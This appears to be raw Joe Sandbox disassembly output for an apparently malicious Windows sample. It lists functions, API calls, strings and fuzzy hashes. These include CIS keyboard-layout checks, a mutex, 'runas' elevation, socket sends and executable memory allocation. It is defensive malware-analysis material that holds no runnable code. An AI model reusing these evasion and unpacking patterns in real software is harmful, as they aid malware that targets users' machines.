Instruction ID: 9340701fd5f7403cf7ba50309dfb341378973f904e2d2e41fb1fe6cd50d97ea3
Opcode Fuzzy Hash: de469c50572d96fa831817a3e8334893a081dba1cd581f061f222784eee2821c
Instruction Fuzzy Hash: 4AC2C271A002089FDB18DF28CD89BDEB775EF45304F5081AEE409A72D1DB799A84CF99

Function 00409A00 Relevance: 30.4, APIs: 16, Strings: 1, Instructions: 668COMMON

Download Yara Rule

APIs

Part of subcall function 00408B30: GetTempPathA.KERNEL32(00000104,?,900B88F7,?,00000000), ref: 00408B77

GetFileAttributesA.KERNEL32(00000000), ref: 00409A73

Strings

T2F, xrefs: 0040A970

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AttributesFilePathTemp
String ID: T2F
API String ID: 3199926297-3862687658
Opcode ID: df180cf6ccc42a80ff8a097845aaf710529a4aa3076e3f0e8fe5be7919888161
Instruction ID: f8d341d7b221fbf4855467c9c2f70b5ca956d984b14cba194293e40f11c0d304
Opcode Fuzzy Hash: df180cf6ccc42a80ff8a097845aaf710529a4aa3076e3f0e8fe5be7919888161
Instruction Fuzzy Hash: D942E770D00244DBEF14EBB8C6497DE7BB2AF06314F24466AD411773C2D77D5A848BAA

Function 00407D30 Relevance: 7.9, APIs: 5, Instructions: 422
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32(0000011C,900B88F7), ref: 00407DAA
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407E0B
GetProcAddress.KERNEL32(00000000), ref: 00407E12
GetNativeSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407ED3
GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00407ED7

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: InfoSystem$AddressHandleModuleNativeProcVersion
String ID:
API String ID: 374719553-0
Opcode ID: 43ca09576ce7c24a49e7d91595eab8dde10c4ec89019c759e4370e9cc0113e14
Instruction ID: d767b28cf4d1304312a0b4bfeaf627bf696c138522586543ff54ff165ce39ac5
Opcode Fuzzy Hash: 43ca09576ce7c24a49e7d91595eab8dde10c4ec89019c759e4370e9cc0113e14
Instruction Fuzzy Hash: B4E10A70E00654A7DB14BB28CD0B39E7671AB82714F5442AEE815773C2DB7D4E858BCB

Function 0043652B Relevance: 4.5, APIs: 3, Instructions: 20
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(?,?,0043652A,?,?,?,?,?,00437661), ref: 0043654D
TerminateProcess.KERNEL32(00000000,?,0043652A,?,?,?,?,?,00437661), ref: 00436554
ExitProcess.KERNEL32 ref: 00436566

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 04b207d0b889d00e4800d5972e07640bc64685a596502c952aa2fb778607a5b5
Instruction ID: 8ba592f2701f3bed1e9346099357e5860ce392234eb0f7d34856f934df6fdfbc
Opcode Fuzzy Hash: 04b207d0b889d00e4800d5972e07640bc64685a596502c952aa2fb778607a5b5
Instruction Fuzzy Hash: D7E0EC35000649BFCF116F59ED0D9493B69FB48746F059435FA0A86232CB7ADD92CF89

Function 0052D356 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 0052D37E
Module32First.KERNEL32(00000000,00000224), ref: 0052D39E

Memory Dump Source

Source File: 00000000.00000002.2353337149.000000000052C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0052C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52c000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: eebf690ddcac4b0860102b19f69e8b00712ad766186d29259a153c4661178e5d
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: EEF068351007216FD7207BB5E88DB6E7AF8BF5A725F100528E546910C0D770E8454672

Function 0040B1A0 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 0040B1ED

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 86a4361ad296d9a7c7be782d3087d9ac5decf79edf26736f0f3b57da14de4269
Instruction ID: 04b2a403b83c723c030908a0a5e120f00658eb7981edf9051d4d18a2c30bc2f5
Opcode Fuzzy Hash: 86a4361ad296d9a7c7be782d3087d9ac5decf79edf26736f0f3b57da14de4269
Instruction Fuzzy Hash: 0B211AB191015CABDB2ACF54CD65BEAB7B8EB19704F0042DDA50A63281D7745B88CFA0

Function 00405C10 Relevance: 23.2, APIs: 8, Strings: 5, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

00000419, xrefs: 00406098
00000422, xrefs: 004060C9
Keyboard Layout\Preload, xrefs: 00406054
00000423, xrefs: 004060FA
0000043f, xrefs: 0040612B

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 0-3963862150
Opcode ID: cc3441c8cc69dd047227bf6c51d55cfe6d1894cac9eb61caf101bb13ff3a2e9e
Instruction ID: 448877648adff1088d2a9d486534a169f5918e2e35df4f0b5b8ee8aeb0257759
Opcode Fuzzy Hash: cc3441c8cc69dd047227bf6c51d55cfe6d1894cac9eb61caf101bb13ff3a2e9e
Instruction Fuzzy Hash: 5DF1C170900248ABEB24DF54CD85BDEBBB9EB45304F5041AAF509A72C1DB789A84CF99

Function 00441ABC Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 273
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00441775: CreateFileW.KERNELBASE(00000000,00000000,?,00441B65,?,?,00000000,?,00441B65,00000000,0000000C), ref: 00441792

GetLastError.KERNEL32 ref: 00441BD0
__dosmaperr.LIBCMT ref: 00441BD7
GetFileType.KERNELBASE(00000000), ref: 00441BE3
GetLastError.KERNEL32 ref: 00441BED
__dosmaperr.LIBCMT ref: 00441BF6
CloseHandle.KERNEL32(00000000), ref: 00441C16
CloseHandle.KERNEL32(0043AC92), ref: 00441D63
GetLastError.KERNEL32 ref: 00441D95
__dosmaperr.LIBCMT ref: 00441D9C

Strings

H, xrefs: 00441D21

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$CloseFileHandle$CreateType
String ID: H
API String ID: 4237864984-2852464175
Opcode ID: 7e17bc01896d330f6a953f9dbc221eb630c8e931c060a5af7141eb9f4136a765
Instruction ID: 908140145710097c147751781d0df85f7731599b948b663735adbecd062618f5
Opcode Fuzzy Hash: 7e17bc01896d330f6a953f9dbc221eb630c8e931c060a5af7141eb9f4136a765
Instruction Fuzzy Hash: 20A13972A041489FDF19DF68DC91BAE3BB1EB0A324F14015EE811EB3E1D7389942CB59

Function 0040D79C Relevance: 13.9, APIs: 9, Instructions: 446
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0040D913
CreateDirectoryA.KERNELBASE(00000000,00000000), ref: 0040DA2F
send.WS2_32(?,?,00000004,00000000), ref: 0040DC2E
send.WS2_32(?,?,00000008,00000000), ref: 0040DC6A

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: send$CreateDirectoryFileModuleName
String ID:
API String ID: 2319890793-0
Opcode ID: 80b1132b2e69c19d12a8b7e2791303c1400add0845b9d63165f9072d547c2120
Instruction ID: eff085a8820556ef2d338989dca7f7ae17fa1bf24247e87c950f3b595bb29a8c
Opcode Fuzzy Hash: 80b1132b2e69c19d12a8b7e2791303c1400add0845b9d63165f9072d547c2120
Instruction Fuzzy Hash: 02F10571D042189BDB24DB68CC49BDEB775AF45314F1042AEE409B72C2DB789EC8CB99

Function 0218003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0218024D

Strings

kernel32.dll, xrefs: 0218008F, 02180095
cess, xrefs: 0218018D

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 5783bce6cd5ccce51b09679f3e05ee428f2a6a4bdf07989417e0223f411b94f1
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: B9526A75A01229DFDB64CF58C984BACBBB1BF09304F1580D9E94DAB351DB30AA89CF14

Function 0040DACC Relevance: 6.2, APIs: 4, Instructions: 168
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a191702b5d5566f94e71338abaa26562628b50816476b24f9623ef3bb52aa2
Instruction ID: 38f2449521b5e83f10c936fa6f8dfcbe512f937044bec88a97e9488449440713
Opcode Fuzzy Hash: 49a191702b5d5566f94e71338abaa26562628b50816476b24f9623ef3bb52aa2
Instruction Fuzzy Hash: E941D472E041145BDB28CBB8CC857AEB7B5EF45324F10466EE815F33D1DA749944CB49

Function 004077B0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 468
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000003E8), ref: 00407A79

Strings

runas, xrefs: 00407303

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: runas
API String ID: 3472027048-4000483414
Opcode ID: ee738bf8bf9f0de906e0374f4d219b384e7ae33defb4495508657303e1c5108b
Instruction ID: 16d312adbf3c5a63ffdf7f0f3d7c95d875241b4f4b30525d3919e6496bc747c1
Opcode Fuzzy Hash: ee738bf8bf9f0de906e0374f4d219b384e7ae33defb4495508657303e1c5108b
Instruction Fuzzy Hash: D0E13C71E14144ABEB08EB78CD8679D7B72DF42304F60815EF405A73C6DB7D9A80879A

Function 0040C3A6 Relevance: 3.5, APIs: 2, Instructions: 532
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00417A00: __Cnd_destroy_in_situ.LIBCPMT ref: 00417AF8
Part of subcall function 00417A00: __Mtx_destroy_in_situ.LIBCPMT ref: 00417B01

Sleep.KERNEL32(000003E8), ref: 0040C7F9

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situMtx_destroy_in_situSleep
String ID:
API String ID: 113500496-0
Opcode ID: 0a7cb503edac44424bd4f6975314c444da3cd61ca8811e0566eebd0e793d9507
Instruction ID: 5a5a39bdf66b3153d44a1018dc39ac7d8d4adb77eca0788226074bda14c0a91d
Opcode Fuzzy Hash: 0a7cb503edac44424bd4f6975314c444da3cd61ca8811e0566eebd0e793d9507
Instruction Fuzzy Hash: 4512A071A00108DBDB04DF68CDC5BDEBBB5EF49304F54822EE805A72D2D7399A85CB99

Function 00416D30 Relevance: 3.0, APIs: 2, Instructions: 23
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00409A00: Sleep.KERNELBASE(00000064), ref: 0040A963
Part of subcall function 00409A00: CreateMutexA.KERNELBASE(00000000,00000000,00463254), ref: 0040A981
Part of subcall function 00409A00: GetLastError.KERNEL32 ref: 0040A989
Part of subcall function 00409A00: GetLastError.KERNEL32 ref: 0040A99A

Part of subcall function 00405C10: RegOpenKeyExA.ADVAPI32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 0040617D

CreateThread.KERNEL32(00000000,00000000,Function_00016C70,00000000,00000000,00000000), ref: 00416D10
Sleep.KERNEL32(00007530), ref: 00416D25

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CreateErrorLastSleep$MutexOpenThread
String ID:
API String ID: 2377761554-0
Opcode ID: 6382081bcbf8a9ed3d33521cf0e432a915f352317681496325614467e45a9fec
Instruction ID: 0e677149ad7de975180ec068863c876e2b41020de11884c8df8d41ceb524a5b2
Opcode Fuzzy Hash: 6382081bcbf8a9ed3d33521cf0e432a915f352317681496325614467e45a9fec
Instruction Fuzzy Hash: 1FE08C75784304A6E21033F27C0BF997A109F09F15F26013AB25A3A1D2D9ECB08086EF

Function 02180E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,02180223,?,?), ref: 02180E19
SetErrorMode.KERNELBASE(00000000,?,?,02180223,?,?), ref: 02180E1E

Memory Dump Source

Source File: 00000000.00000002.2354099714.0000000002180000.00000040.00001000.00020000.00000000.sdmp, Offset: 02180000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2180000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: a846ea09069fb0ff73c478be89de1126635b9151421e274922989b7d7294ded1
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 94D0123214512C77D7003A94DC09BCE7B1CDF09B66F108011FB0DD9080C770954046E5

Function 0040D159 Relevance: 1.9, APIs: 1, Instructions: 386
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 0040D167

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 9df6dc6c6b6516bd832a521bdb968700339736e89c6f6026bf061d540936f4fe
Instruction ID: 136bb09125c68fe2e081d2bed29a15b875233fc51c93fcab2b4112f563e43fa9
Opcode Fuzzy Hash: 9df6dc6c6b6516bd832a521bdb968700339736e89c6f6026bf061d540936f4fe
Instruction Fuzzy Hash: 30E11971E002549BEB19DB68CD497DDBB71AF46308F1042DED4086B3C2DB799BC88B99

Function 0040D6D0 Relevance: 1.7, APIs: 1, Instructions: 164
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c18bc24b5b40a2134f91a76ed29d8d8ee532285b02a30a0b6b595c82aba4457
Instruction ID: 6ba3f6d73affff0805543805238ddc276f563b6c65a7d1c94091dbc822e03449
Opcode Fuzzy Hash: 8c18bc24b5b40a2134f91a76ed29d8d8ee532285b02a30a0b6b595c82aba4457
Instruction Fuzzy Hash: 2051FD70D042589BEB24DB68CD88BDEBBB1AB46304F5041EAD408672C2DB795FC8CF85

Function 0040C8E0 Relevance: 1.6, APIs: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4513db9c8ca4ea5d03b4e6baea22fc72861bf157a0bb9fd0c640f3efb5b9add
Instruction ID: 6f1343131b8dd863bc46bdb2e422fc6909b0f8608393747acf9dbc8e3f269829
Opcode Fuzzy Hash: c4513db9c8ca4ea5d03b4e6baea22fc72861bf157a0bb9fd0c640f3efb5b9add
Instruction Fuzzy Hash: 38315C7161024CAFEB04DFA8C985BDEBBB5FB49704F50422AF805A72C1D7799980CB98

Function 0043AC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 0043AC8D

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: b179973e2016f215b0ef3759c58dae6fc3af94d4a8fe8fa67ffe374620a294ef
Instruction ID: a66abbd6648e96b8c426010f02d88ffd1877682ffd29169a79776235427ef3c3
Opcode Fuzzy Hash: b179973e2016f215b0ef3759c58dae6fc3af94d4a8fe8fa67ffe374620a294ef
Instruction Fuzzy Hash: 551118B1A0420AAFCB05DF59E94199B7BF4EF48304F04406AF805AB351D670DD21DB69

Function 00441A2E Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00441A91

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 0da8171cac030f6b45925a7c5248a00485fab8e2398974f4a4f83c3fb58f0ae8
Instruction ID: c9b0d8fa498f0fd219daed50f945327353b6da4e75b16bd436644be4f456858a
Opcode Fuzzy Hash: 0da8171cac030f6b45925a7c5248a00485fab8e2398974f4a4f83c3fb58f0ae8
Instruction Fuzzy Hash: DE014F72C01159BFDF01EFE88C01AEE7FB5AF08314F14416AF914F2161E6358A65DB95

Function 00441775 Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00441B65,?,?,00000000,?,00441B65,00000000,0000000C), ref: 00441792

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: efd75a4b3e0d0f44703b7e6113a489f3725145c46bff7276ab7cb2ca30d4afc5
Instruction ID: 728716dea2d8701cc34847fc6eeab83fc4e7ccc419190b368175d6442f09313a
Opcode Fuzzy Hash: efd75a4b3e0d0f44703b7e6113a489f3725145c46bff7276ab7cb2ca30d4afc5
Instruction Fuzzy Hash: 10D06C3201020DBBDF028F84DC06EDE3BAAFB48715F014150BA1856020C732E861AB94

Function 004087B2 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?), ref: 004087B9

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 1c359e556df86ff6f81b295afed9701b7315f92a1b1b96a2d875eaf16d26da57
Instruction ID: cf245ddd44955969ee6657244a22e3e52baad1822ae61319476e7950b8878db5
Opcode Fuzzy Hash: 1c359e556df86ff6f81b295afed9701b7315f92a1b1b96a2d875eaf16d26da57
Instruction Fuzzy Hash: CEC0803801060006DD1C06385F49555330655537B53F40BBDE4F16B2F5CB3D5807D608

Function 004087B0 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(?), ref: 004087B9

Memory Dump Source

Source File: 00000000.00000002.2353139428.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2353139428.0000000000462000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2353139428.0000000000469000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 91263034b88fd9d872aba8cf726a75655e3cadde92fadada609a05562aff1eac
Instruction ID: eec6361e8626f86b60cf0449171d9436f9a85d39230ea77d0a5306f3f4484108
Opcode Fuzzy Hash: 91263034b88fd9d872aba8cf726a75655e3cadde92fadada609a05562aff1eac
Instruction Fuzzy Hash: 83C0803801020047DA1C4B386F49515331699537353F00B7DE4B16B2F5CB3EC403C758

Function 0052D015 Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 0052D066

Memory Dump Source

Source File: 00000000.00000002.2353337149.000000000052C000.00000040.00000020.00020000.00000000.sdmp, Offset: 0052C000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_52c000_yjzllYsjlU.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: c7ea7a1216ee9cac0a17c8d068d52c405de6a70ee74ced36328a8ca69971ca04
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 3E113F79A00208EFDB01DF98C989E98BFF5AF08750F158094F9489B361D375EA50DF90

Non-executed Functions

Function 0041C768 Relevance: 143.7, APIs: 41, Strings: 41, Instructions: 167libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 0041C76E
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 0041C77C
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 0041C78D
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 0041C79E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 0041C7AF
GetProcAddress.KERNEL32(00000000,InitializeCriticalSectionEx), ref: 0041C7C0
GetProcAddress.KERNEL32(00000000,InitOnceExecuteOnce), ref: 0041C7D1
GetProcAddress.KERNEL32(00000000,CreateEventExW), ref: 0041C7E2
GetProcAddress.KERNEL32(00000000,CreateSemaphoreW), ref: 0041C7F3
GetProcAddress.KERNEL32(00000000,CreateSemaphoreExW), ref: 0041C804
GetProcAddress.KERNEL32(00000000,CreateThreadpoolTimer), ref: 0041C815
GetProcAddress.KERNEL32(00000000,SetThreadpoolTimer), ref: 0041C826
